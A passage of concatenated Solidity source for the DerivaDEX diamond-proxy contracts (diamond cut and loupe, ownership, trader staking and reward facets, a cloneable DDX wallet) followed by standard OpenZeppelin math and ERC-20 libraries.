ds.supportedInterfaces[IDiamondCut.diamondCut.selector] = true; bytes4 interfaceID = IDiamondLoupe.facets.selector ^ IDiamondLoupe.facetFunctionSelectors.selector ^ IDiamondLoupe.facetAddresses.selector ^ IDiamondLoupe.facetAddress.selector; ds.supportedInterfaces[interfaceID] = true; } // TODO(jalextowle): Remove this linter directive when // https://github.com/protofire/solhint/issues/248 is merged and released. /* solhint-disable ordering */ receive() external payable { revert("DerivaDEX does not directly accept ether."); } // Finds facet for function that is called and executes the // function if it is found and returns any value. fallback() external payable { LibDiamondStorage.DiamondStorage storage ds; bytes32 position = LibDiamondStorage.DIAMOND_STORAGE_POSITION; assembly { ds_slot := position } address facet = ds.selectorToFacetAndPosition[msg.sig].facetAddress; require(facet != address(0), "Function does not exist."); assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), facet, 0, calldatasize(), 0, 0) let size := returndatasize() returndatacopy(0, 0, size) switch result case 0 { revert(0, size) } default { return(0, size) } } } /* solhint-enable ordering */ } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; /******************************************************************************\ * Author: Nick Mudge <[email protected]> (https://twitter.com/mudgen) * * Implementation of internal diamondCut function. /******************************************************************************/ import "./LibDiamondStorage.sol"; import "./IDiamondCut.sol"; library LibDiamondCut { event DiamondCut(IDiamondCut.FacetCut[] _diamondCut, address _init, bytes _calldata); // Internal function version of diamondCut // This code is almost the same as the external diamondCut, // except it is using 'FacetCut[] memory _diamondCut' instead of // 'FacetCut[] calldata _diamondCut'. // The code is duplicated to prevent copying calldata to memory which // causes an error for a two dimensional array. function diamondCut( IDiamondCut.FacetCut[] memory _diamondCut, address _init, bytes memory _calldata ) internal { require(_diamondCut.length > 0, "LibDiamondCut: No facets to cut"); for (uint256 facetIndex; facetIndex < _diamondCut.length; facetIndex++) { addReplaceRemoveFacetSelectors( _diamondCut[facetIndex].facetAddress, _diamondCut[facetIndex].action, _diamondCut[facetIndex].functionSelectors ); } emit DiamondCut(_diamondCut, _init, _calldata); initializeDiamondCut(_init, _calldata); } function addReplaceRemoveFacetSelectors( address _newFacetAddress, IDiamondCut.FacetCutAction _action, bytes4[] memory _selectors ) internal { LibDiamondStorage.DiamondStorage storage ds = LibDiamondStorage.diamondStorage(); require(_selectors.length > 0, "LibDiamondCut: No selectors in facet to cut"); // add or replace functions if (_newFacetAddress != address(0)) { uint256 facetAddressPosition = ds.facetFunctionSelectors[_newFacetAddress].facetAddressPosition; // add new facet address if it does not exist if ( facetAddressPosition == 0 && ds.facetFunctionSelectors[_newFacetAddress].functionSelectors.length == 0 ) { ensureHasContractCode(_newFacetAddress, "LibDiamondCut: New facet has no code"); facetAddressPosition = ds.facetAddresses.length; ds.facetAddresses.push(_newFacetAddress); ds.facetFunctionSelectors[_newFacetAddress].facetAddressPosition = uint16(facetAddressPosition); } // add or replace selectors for (uint256 selectorIndex; selectorIndex < _selectors.length; selectorIndex++) { bytes4 selector = _selectors[selectorIndex]; address oldFacetAddress = ds.selectorToFacetAndPosition[selector].facetAddress; // add if (_action == IDiamondCut.FacetCutAction.Add) { require(oldFacetAddress == address(0), "LibDiamondCut: Can't add function that already exists"); addSelector(_newFacetAddress, selector); } else if (_action == IDiamondCut.FacetCutAction.Replace) { // replace require( oldFacetAddress != _newFacetAddress, "LibDiamondCut: Can't replace function with same function" ); removeSelector(oldFacetAddress, selector); addSelector(_newFacetAddress, selector); } else { revert("LibDiamondCut: Incorrect FacetCutAction"); } } } else { require( _action == IDiamondCut.FacetCutAction.Remove, "LibDiamondCut: action not set to FacetCutAction.Remove" ); // remove selectors for (uint256 selectorIndex; selectorIndex < _selectors.length; selectorIndex++) { bytes4 selector = _selectors[selectorIndex]; removeSelector(ds.selectorToFacetAndPosition[selector].facetAddress, selector); } } } function addSelector(address _newFacet, bytes4 _selector) internal { LibDiamondStorage.DiamondStorage storage ds = LibDiamondStorage.diamondStorage(); uint256 selectorPosition = ds.facetFunctionSelectors[_newFacet].functionSelectors.length; ds.facetFunctionSelectors[_newFacet].functionSelectors.push(_selector); ds.selectorToFacetAndPosition[_selector].facetAddress = _newFacet; ds.selectorToFacetAndPosition[_selector].functionSelectorPosition = uint16(selectorPosition); } function removeSelector(address _oldFacetAddress, bytes4 _selector) internal { LibDiamondStorage.DiamondStorage storage ds = LibDiamondStorage.diamondStorage(); require(_oldFacetAddress != address(0), "LibDiamondCut: Can't remove or replace function that doesn't exist"); // replace selector with last selector, then delete last selector uint256 selectorPosition = ds.selectorToFacetAndPosition[_selector].functionSelectorPosition; uint256 lastSelectorPosition = ds.facetFunctionSelectors[_oldFacetAddress].functionSelectors.length - 1; bytes4 lastSelector = ds.facetFunctionSelectors[_oldFacetAddress].functionSelectors[lastSelectorPosition]; // if not the same then replace _selector with lastSelector if (lastSelector != _selector) { ds.facetFunctionSelectors[_oldFacetAddress].functionSelectors[selectorPosition] = lastSelector; ds.selectorToFacetAndPosition[lastSelector].functionSelectorPosition = uint16(selectorPosition); } // delete the last selector ds.facetFunctionSelectors[_oldFacetAddress].functionSelectors.pop(); delete ds.selectorToFacetAndPosition[_selector]; // if no more selectors for facet address then delete the facet address if (lastSelectorPosition == 0) { // replace facet address with last facet address and delete last facet address uint256 lastFacetAddressPosition = ds.facetAddresses.length - 1; address lastFacetAddress = ds.facetAddresses[lastFacetAddressPosition]; uint256 facetAddressPosition = ds.facetFunctionSelectors[_oldFacetAddress].facetAddressPosition; if (_oldFacetAddress != lastFacetAddress) { ds.facetAddresses[facetAddressPosition] = lastFacetAddress; ds.facetFunctionSelectors[lastFacetAddress].facetAddressPosition = uint16(facetAddressPosition); } ds.facetAddresses.pop(); delete ds.facetFunctionSelectors[_oldFacetAddress]; } } function initializeDiamondCut(address _init, bytes memory _calldata) internal { if (_init == address(0)) { require(_calldata.length == 0, "LibDiamondCut: _init is address(0) but_calldata is not empty"); } else { require(_calldata.length > 0, "LibDiamondCut: _calldata is empty but _init is not address(0)"); if (_init != address(this)) { LibDiamondCut.ensureHasContractCode(_init, "LibDiamondCut: _init address has no code"); } (bool success, bytes memory error) = _init.delegatecall(_calldata); if (!success) { if (error.length > 0) { // bubble up the error revert(string(error)); } else { revert("LibDiamondCut: _init function reverted"); } } } } function ensureHasContractCode(address _contract, string memory _errorMessage) internal view { uint256 contractSize; assembly { contractSize := extcodesize(_contract) } require(contractSize > 0, _errorMessage); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; /******************************************************************************\ * Author: Nick Mudge <[email protected]> (https://twitter.com/mudgen) * * Implementation of diamondCut external function and DiamondLoupe interface. /******************************************************************************/ import "./LibDiamondStorage.sol"; import "./LibDiamondCut.sol"; import "../storage/LibDiamondStorageDerivaDEX.sol"; import "./IDiamondCut.sol"; import "./IDiamondLoupe.sol"; import "./IERC165.sol"; contract DiamondFacet is IDiamondCut, IDiamondLoupe, IERC165 { // Standard diamondCut external function /// @notice Add/replace/remove any number of functions and optionally execute /// a function with delegatecall /// @param _diamondCut Contains the facet addresses and function selectors /// @param _init The address of the contract or facet to execute _calldata /// @param _calldata A function call, including function selector and arguments /// _calldata is executed with delegatecall on _init function diamondCut( FacetCut[] calldata _diamondCut, address _init, bytes calldata _calldata ) external override { LibDiamondStorageDerivaDEX.DiamondStorageDerivaDEX storage dsDerivaDEX = LibDiamondStorageDerivaDEX.diamondStorageDerivaDEX(); require(msg.sender == dsDerivaDEX.admin, "DiamondFacet: Must own the contract"); require(_diamondCut.length > 0, "DiamondFacet: No facets to cut"); for (uint256 facetIndex; facetIndex < _diamondCut.length; facetIndex++) { LibDiamondCut.addReplaceRemoveFacetSelectors( _diamondCut[facetIndex].facetAddress, _diamondCut[facetIndex].action, _diamondCut[facetIndex].functionSelectors ); } emit DiamondCut(_diamondCut, _init, _calldata); LibDiamondCut.initializeDiamondCut(_init, _calldata); } // Diamond Loupe Functions //////////////////////////////////////////////////////////////////// /// These functions are expected to be called frequently by tools. // // struct Facet { // address facetAddress; // bytes4[] functionSelectors; // } // /// @notice Gets all facets and their selectors. /// @return facets_ Facet function facets() external view override returns (Facet[] memory facets_) { LibDiamondStorage.DiamondStorage storage ds = LibDiamondStorage.diamondStorage(); uint256 numFacets = ds.facetAddresses.length; facets_ = new Facet[](numFacets); for (uint256 i; i < numFacets; i++) { address facetAddress_ = ds.facetAddresses[i]; facets_[i].facetAddress = facetAddress_; facets_[i].functionSelectors = ds.facetFunctionSelectors[facetAddress_].functionSelectors; } } /// @notice Gets all the function selectors provided by a facet. /// @param _facet The facet address. /// @return facetFunctionSelectors_ function facetFunctionSelectors(address _facet) external view override returns (bytes4[] memory facetFunctionSelectors_) { LibDiamondStorage.DiamondStorage storage ds = LibDiamondStorage.diamondStorage(); facetFunctionSelectors_ = ds.facetFunctionSelectors[_facet].functionSelectors; } /// @notice Get all the facet addresses used by a diamond. /// @return facetAddresses_ function facetAddresses() external view override returns (address[] memory facetAddresses_) { LibDiamondStorage.DiamondStorage storage ds = LibDiamondStorage.diamondStorage(); facetAddresses_ = ds.facetAddresses; } /// @notice Gets the facet that supports the given selector. /// @dev If facet is not found return address(0). /// @param _functionSelector The function selector. /// @return facetAddress_ The facet address. function facetAddress(bytes4 _functionSelector) external view override returns (address facetAddress_) { LibDiamondStorage.DiamondStorage storage ds = LibDiamondStorage.diamondStorage(); facetAddress_ = ds.selectorToFacetAndPosition[_functionSelector].facetAddress; } // This implements ERC-165. function supportsInterface(bytes4 _interfaceId) external view override returns (bool) { LibDiamondStorage.DiamondStorage storage ds = LibDiamondStorage.diamondStorage(); return ds.supportedInterfaces[_interfaceId]; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import { LibDiamondStorageDerivaDEX } from "../storage/LibDiamondStorageDerivaDEX.sol"; import { LibDiamondStorage } from "../diamond/LibDiamondStorage.sol"; import { IERC165 } from "./IERC165.sol"; contract OwnershipFacet { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @notice This function transfers ownership to self. This is done * so that we can ensure upgrades (using diamondCut) and * various other critical parameter changing scenarios * can only be done via governance (a facet). */ function transferOwnershipToSelf() external { LibDiamondStorageDerivaDEX.DiamondStorageDerivaDEX storage dsDerivaDEX = LibDiamondStorageDerivaDEX.diamondStorageDerivaDEX(); require(msg.sender == dsDerivaDEX.admin, "Not authorized"); dsDerivaDEX.admin = address(this); emit OwnershipTransferred(msg.sender, address(this)); } /** * @notice This gets the admin for the diamond. * @return Admin address. */ function getAdmin() external view returns (address) { LibDiamondStorageDerivaDEX.DiamondStorageDerivaDEX storage dsDerivaDEX = LibDiamondStorageDerivaDEX.diamondStorageDerivaDEX(); return dsDerivaDEX.admin; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; /******************************************************************************\ * Author: Nick Mudge <[email protected]> (https://twitter.com/mudgen) /******************************************************************************/ library LibDiamondStorage { struct FacetAddressAndPosition { address facetAddress; uint16 functionSelectorPosition; // position in facetFunctionSelectors.functionSelectors array } struct FacetFunctionSelectors { bytes4[] functionSelectors; uint16 facetAddressPosition; // position of facetAddress in facetAddresses array } struct DiamondStorage { // maps function selector to the facet address and // the position of the facet address in the facetAddresses array // and the position of the selector in the facetSelectors.selectors array mapping(bytes4 => FacetAddressAndPosition) selectorToFacetAndPosition; // maps facet addresses to function selectors mapping(address => FacetFunctionSelectors) facetFunctionSelectors; // facet addresses address[] facetAddresses; // Used to query if a contract implements an interface. // Used to implement ERC-165. mapping(bytes4 => bool) supportedInterfaces; } bytes32 constant DIAMOND_STORAGE_POSITION = keccak256("diamond.standard.diamond.storage"); function diamondStorage() internal pure returns (DiamondStorage storage ds) { bytes32 position = DIAMOND_STORAGE_POSITION; assembly { ds_slot := position } } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; /******************************************************************************\ * Author: Nick Mudge <[email protected]> (https://twitter.com/mudgen) /******************************************************************************/ interface IDiamondCut { enum FacetCutAction { Add, Replace, Remove } struct FacetCut { address facetAddress; FacetCutAction action; bytes4[] functionSelectors; } event DiamondCut(FacetCut[] _diamondCut, address _init, bytes _calldata); /// @notice Add/replace/remove any number of functions and optionally execute /// a function with delegatecall /// @param _diamondCut Contains the facet addresses and function selectors /// @param _init The address of the contract or facet to execute _calldata /// @param _calldata A function call, including function selector and arguments /// _calldata is executed with delegatecall on _init function diamondCut( FacetCut[] calldata _diamondCut, address _init, bytes calldata _calldata ) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; /******************************************************************************\ * Author: Nick Mudge <[email protected]> (https://twitter.com/mudgen) /******************************************************************************/ import "./IDiamondCut.sol"; // A loupe is a small magnifying glass used to look at diamonds. // These functions look at diamonds interface IDiamondLoupe { /// These functions are expected to be called frequently /// by tools. struct Facet { address facetAddress; bytes4[] functionSelectors; } /// @notice Gets all facet addresses and their four byte function selectors. /// @return facets_ Facet function facets() external view returns (Facet[] memory facets_); /// @notice Gets all the function selectors supported by a specific facet. /// @param _facet The facet address. /// @return facetFunctionSelectors_ function facetFunctionSelectors(address _facet) external view returns (bytes4[] memory facetFunctionSelectors_); /// @notice Get all the facet addresses used by a diamond. /// @return facetAddresses_ function facetAddresses() external view returns (address[] memory facetAddresses_); /// @notice Gets the facet that supports the given selector. /// @dev If facet is not found return address(0). /// @param _functionSelector The function selector. /// @return facetAddress_ The facet address. function facetAddress(bytes4 _functionSelector) external view returns (address facetAddress_); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; interface IERC165 { /// @notice Query if a contract implements an interface /// @param interfaceId The interface identifier, as specified in ERC-165 /// @dev Interface identification is specified in ERC-165. This function /// uses less than 30,000 gas. /// @return `true` if the contract implements `interfaceID` and /// `interfaceID` is not 0xffffffff, `false` otherwise function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import { IDDX } from "../tokens/interfaces/IDDX.sol"; library LibDiamondStorageDerivaDEX { struct DiamondStorageDerivaDEX { string name; address admin; IDDX ddxToken; } bytes32 constant DIAMOND_STORAGE_POSITION_DERIVADEX = keccak256("diamond.standard.diamond.storage.DerivaDEX.DerivaDEX"); function diamondStorageDerivaDEX() internal pure returns (DiamondStorageDerivaDEX storage ds) { bytes32 position = DIAMOND_STORAGE_POSITION_DERIVADEX; assembly { ds_slot := position } } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; interface IDDX { function transfer(address _recipient, uint256 _amount) external returns (bool); function mint(address _recipient, uint256 _amount) external; function delegate(address _delegatee) external; function transferFrom( address _sender, address _recipient, uint256 _amount ) external returns (bool); function approve(address _spender, uint256 _amount) external returns (bool); function getPriorVotes(address account, uint256 blockNumber) external view returns (uint96); function totalSupply() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import { IDDX } from "./interfaces/IDDX.sol"; /** * @title DDXWalletCloneable * @author DerivaDEX * @notice This is a cloneable on-chain DDX wallet that holds a trader's * stakes and issued rewards. */ contract DDXWalletCloneable { // Whether contract has already been initialized once before bool initialized; /** * @notice This function initializes the on-chain DDX wallet * for a given trader. * @param _trader Trader address. * @param _ddxToken DDX token address. * @param _derivaDEX DerivaDEX Proxy address. */ function initialize( address _trader, IDDX _ddxToken, address _derivaDEX ) external { // Prevent initializing more than once require(!initialized, "DDXWalletCloneable: already init."); initialized = true; // Automatically delegate the holdings of this contract/wallet // back to the trader. _ddxToken.delegate(_trader); // Approve the DerivaDEX Proxy contract for unlimited transfers _ddxToken.approve(_derivaDEX, uint96(-1)); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import { SafeMath } from "openzeppelin-solidity/contracts/math/SafeMath.sol"; import { IERC20 } from "openzeppelin-solidity/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol"; import { SafeMath96 } from "../../libs/SafeMath96.sol"; import { TraderDefs } from "../../libs/defs/TraderDefs.sol"; import { LibDiamondStorageDerivaDEX } from "../../storage/LibDiamondStorageDerivaDEX.sol"; import { LibDiamondStorageTrader } from "../../storage/LibDiamondStorageTrader.sol"; import { DDXWalletCloneable } from "../../tokens/DDXWalletCloneable.sol"; import { IDDX } from "../../tokens/interfaces/IDDX.sol"; import { IDDXWalletCloneable } from "../../tokens/interfaces/IDDXWalletCloneable.sol"; import { LibTraderInternal } from "./LibTraderInternal.sol"; /** * @title Trader * @author DerivaDEX * @notice This is a facet to the DerivaDEX proxy contract that handles * the logic pertaining to traders - staking DDX, withdrawing * DDX, receiving DDX rewards, etc. */ contract Trader { using SafeMath96 for uint96; using SafeMath for uint256; using SafeERC20 for IERC20; event RewardCliffSet(bool rewardCliffSet); event DDXRewardIssued(address trader, uint96 amount); /** * @notice Limits functions to only be called via governance. */ modifier onlyAdmin { LibDiamondStorageDerivaDEX.DiamondStorageDerivaDEX storage dsDerivaDEX = LibDiamondStorageDerivaDEX.diamondStorageDerivaDEX(); require(msg.sender == dsDerivaDEX.admin, "Trader: must be called by Gov."); _; } /** * @notice Limits functions to only be called post reward cliff. */ modifier postRewardCliff { LibDiamondStorageTrader.DiamondStorageTrader storage dsTrader = LibDiamondStorageTrader.diamondStorageTrader(); require(dsTrader.rewardCliff, "Trader: prior to reward cliff."); _; } /** * @notice This function initializes the state with some critical * information, including the on-chain wallet cloneable * contract address. This can only be called via governance. * @dev This function is best called as a parameter to the * diamond cut function. This is removed prior to the selectors * being added to the diamond, meaning it cannot be called * again. * @dev This function is best called as a parameter to the * diamond cut function. This is removed prior to the selectors * being added to the diamond, meaning it cannot be called * again. */ function initialize(IDDXWalletCloneable _ddxWalletCloneable) external onlyAdmin { LibDiamondStorageTrader.DiamondStorageTrader storage dsTrader = LibDiamondStorageTrader.diamondStorageTrader(); // Set the on-chain DDX wallet cloneable contract address dsTrader.ddxWalletCloneable = _ddxWalletCloneable; } /** * @notice This function sets the reward cliff. * @param _rewardCliff Reward cliff. */ function setRewardCliff(bool _rewardCliff) external onlyAdmin { LibDiamondStorageTrader.DiamondStorageTrader storage dsTrader = LibDiamondStorageTrader.diamondStorageTrader(); // Set the reward cliff (boolean value) dsTrader.rewardCliff = _rewardCliff; emit RewardCliffSet(_rewardCliff); } /** * @notice This function issues DDX rewards to a trader. It can * only be called via governance. * @param _amount DDX tokens to be rewarded. * @param _trader Trader recipient address. */ function issueDDXReward(uint96 _amount, address _trader) external onlyAdmin { // Call the internal function to issue DDX rewards. This // internal function is shareable with other facets that import // the LibTraderInternal library. LibTraderInternal.issueDDXReward(_amount, _trader); } /** * @notice This function issues DDX rewards to an external address. * It can only be called via governance. * @param _amount DDX tokens to be rewarded. * @param _recipient External recipient address. */ function issueDDXToRecipient(uint96 _amount, address _recipient) external onlyAdmin { LibDiamondStorageDerivaDEX.DiamondStorageDerivaDEX storage dsDerivaDEX = LibDiamondStorageDerivaDEX.diamondStorageDerivaDEX(); // Transfer DDX from trader to trader's on-chain wallet dsDerivaDEX.ddxToken.mint(_recipient, _amount); emit DDXRewardIssued(_recipient, _amount); } /** * @notice This function lets traders take DDX from their wallet * into their on-chain DDX wallet. It's important to note * that any DDX staked from the trader to this wallet * delegates the voting rights of that stake back to the * user. To be more explicit, if Alice's personal wallet is * delegating to Bob, and she now stakes a portion of her * DDX into this on-chain DDX wallet of hers, those tokens * will now count towards her voting power, not Bob's, since * her on-chain wallet is automatically delegating back to * her. * @param _amount The DDX tokens to be staked. */ function stakeDDXFromTrader(uint96 _amount) external { transferDDXToWallet(msg.sender, _amount); } /** * @notice This function lets traders send DDX from their wallet * into another trader's on-chain DDX wallet. It's * important to note that any DDX staked to this wallet * delegates the voting rights of that stake back to the * user. * @param _trader Trader address to receive DDX (inside their * wallet, which will be created if it does not already * exist). * @param _amount The DDX tokens to be staked. */ function sendDDXFromTraderToTraderWallet(address _trader, uint96 _amount) external { transferDDXToWallet(_trader, _amount); } /** * @notice This function lets traders withdraw DDX from their * on-chain DDX wallet to their personal wallet. It's * important to note that the voting rights for any DDX * withdrawn are returned back to the delegatee of the * user's personal wallet. To be more explicit, if Alice is * personal wallet is delegating to Bob, and she now * withdraws a portion of her DDX from this on-chain DDX * wallet of hers, those tokens will now count towards Bob's * voting power, not her's, since her on-chain wallet is * automatically delegating back to her, but her personal * wallet is delegating to Bob. Withdrawals can only happen * when the governance cliff is lifted. * @param _amount The DDX tokens to be withdrawn. */ function withdrawDDXToTrader(uint96 _amount) external postRewardCliff { LibDiamondStorageTrader.DiamondStorageTrader storage dsTrader = LibDiamondStorageTrader.diamondStorageTrader(); TraderDefs.Trader storage trader = dsTrader.traders[msg.sender]; LibDiamondStorageDerivaDEX.DiamondStorageDerivaDEX storage dsDerivaDEX = LibDiamondStorageDerivaDEX.diamondStorageDerivaDEX(); // Subtract trader's DDX balance in the contract trader.ddxBalance = trader.ddxBalance.sub96(_amount); // Transfer DDX from trader's on-chain wallet to the trader dsDerivaDEX.ddxToken.transferFrom(trader.ddxWalletContract, msg.sender, _amount); } /** * @notice This function gets the attributes for a given trader. * @param _trader Trader address. */ function getTrader(address _trader) external view returns (TraderDefs.Trader memory) { LibDiamondStorageTrader.DiamondStorageTrader storage dsTrader = LibDiamondStorageTrader.diamondStorageTrader(); return dsTrader.traders[_trader]; } /** * @notice This function transfers DDX from the sender * to another trader's DDX wallet. * @param _trader Trader address' DDX wallet address to transfer * into. * @param _amount Amount of DDX to transfer. */ function transferDDXToWallet(address _trader, uint96 _amount) internal { LibDiamondStorageTrader.DiamondStorageTrader storage dsTrader = LibDiamondStorageTrader.diamondStorageTrader(); TraderDefs.Trader storage trader = dsTrader.traders[_trader]; // If trader does not have a DDX on-chain wallet yet, create one if (trader.ddxWalletContract == address(0)) { LibTraderInternal.createDDXWallet(_trader); } LibDiamondStorageDerivaDEX.DiamondStorageDerivaDEX storage dsDerivaDEX = LibDiamondStorageDerivaDEX.diamondStorageDerivaDEX(); // Add trader's DDX balance in the contract trader.ddxBalance = trader.ddxBalance.add96(_amount); // Transfer DDX from trader to trader's on-chain wallet dsDerivaDEX.ddxToken.transferFrom(msg.sender, trader.ddxWalletContract, _amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { 